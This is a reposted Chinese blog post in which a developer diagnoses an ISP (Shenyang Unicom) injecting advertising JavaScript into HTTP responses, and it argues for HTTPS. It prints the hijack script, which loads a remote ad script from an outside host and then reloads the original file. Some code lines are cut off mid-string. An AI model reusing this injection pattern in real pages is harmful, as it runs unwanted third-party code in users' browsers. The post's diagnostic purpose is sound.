资讯专栏INFORMATION COLUMN

我是这样发现ISP劫持HTTP请求的

piapia / 2182人阅读

摘要:最近业务系统经常受到前端报错邮件发现大量的为沈阳联通客户初步推断为运营商劫持经过现场排查发现出错画面部分加载出错区别在于错误的会先插入一个广告为区别是否劫持查看面板正确并且为我方服务器确认并非为攻击。

编者按:Fundebug的客户通过分析我们提供的报警信息,定位了一个非常棘手的问题—ISP劫持http请求。他的分析过程非常有意思,同时也提醒我们,应该及时支持HTTPS来保证站点安全。

原文: ISP劫持http请求

作者: Mr_Qi

本文版权归原作者Mr_Qi所有

最近业务系统经常受到前端报错邮件

发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持

经过现场排查发现出错画面部分js加载出错

区别在于错误的js会先插入一个广告js

为区别是否dns劫持查看NetWork面板

IP正确并且为我方服务器IP确认并非为DNS攻击。

由于大面积出现沈阳联通问题,(故而考虑应当为运营商问题?应该不会出现大范围路由器被黑的可能吧)

返回js如下

(function () {
    try {
        var o = "m-_-m",
            D = document;
        if (!D.getElementById(o)) {
            var j = "http://yunxiu.f6car.com/kzf6/js/basic/XXX.js",
                J = j + (~j.indexOf("?") ? "&" : "?") + new Date().getTime(),
                M = "http://pc.quansj.cn/?cid=08",
                C = D.currentScript,
                H = D.getElementsByTagName("head")[0],
                N = function (s, i) {
                    var I = D.createElement("script");
                    I.type = "text/JavaScript";
                    if (i) I.id = i;
                    I.src = s;
                    H.appendChild(I);
                };
            if (self == top) {
                N(M, o);
            }
            if (!C) {
                C = (function () {
                    var S = D.scripts,
                        l = S.length,
                        i = 0;
                    for (; i < l; ++i) {
                        if (S[i].src === j) {
                            return S[i];
                        }
                    }
                })();
            }
            C && ((C.defer || C.async) ? N(J) : D.write("

发现旗下域名

有好几个都是广告劫持网站

貌似和一个说脱口秀的(赵本山徒弟)同名………………该不是同一个人吧/(ㄒoㄒ)/~~

和沈阳联通沟通后无果,拒不承认存在劫持。目前正在求助工信部,不知能否有解决方案。

github上已经有针对该地址的adblock了……明显辽宁联通

看了一下js选项,正常情况下会执行到

C&&((C.defer||C.async)?N(J):D.write("

具体说明如下

With this data in mind, Chrome, starting with version 55, intervenes on behalf of all users when we detect this known-bad pattern by changing how document.write() is handled in Chrome (See Chrome Status). Specifically Chrome will not execute the

果然当时客户的请求了commonjs,也就是commonjs也被劫持了。此刻画面中出现了m-_-m节点。导致其他被劫持的js不会加载真实的js………………

再说一下关于我们首页的劫持(跳转?)

明显也是江苏宽带(南京电信)的劫持……

欢迎加入我们Fundebug的全栈BUG监控交流群: 622902485

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/83066.html

相关文章

  • 告别DNS劫持,一文读懂DoH

    摘要:而即使用安全的协议运行,主要目的是增强用户的安全性和隐私性。因此,欺诈者将无法查看请求的并对其进行更改。图片劫持目前,尚未成为上的全球标准,大多数连接仍依赖基本的。到目前为止,仅和两家公司涉足了这一领域。如果评选一个差评服务器榜单,除去育碧高居榜首外,一定也少不了 Nintendo Switch 让人头秃的联网服务。尽管任天堂已经架设了香港 CDN 服务器用于加速,但是更新安装的速度也没有什...

    Tecode 评论0 收藏0
  • CDN详解

    摘要:在一个节点中,设备和本地负载均衡设备的连接方式有两种一种是旁路方式,一种是穿越方式。 文章同步于Github Pines-Cheng/blog 什么是CDN CDN(内容分发网络)全称是 Content Delivery Network,建立并覆盖在承载网之上、由分布在不同区域的边缘节点服务器群组成的分布式网络,替代传统以 WEB Server 为中心的数据传输模式。 作用是将源内容发...

    番茄西红柿 评论0 收藏0
  • CDN详解

    摘要:在一个节点中,设备和本地负载均衡设备的连接方式有两种一种是旁路方式,一种是穿越方式。 文章同步于Github Pines-Cheng/blog 什么是CDN CDN(内容分发网络)全称是 Content Delivery Network,建立并覆盖在承载网之上、由分布在不同区域的边缘节点服务器群组成的分布式网络,替代传统以 WEB Server 为中心的数据传输模式。 作用是将源内容发...

    ChristmasBoy 评论0 收藏0

发表评论

0条评论

piapia

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<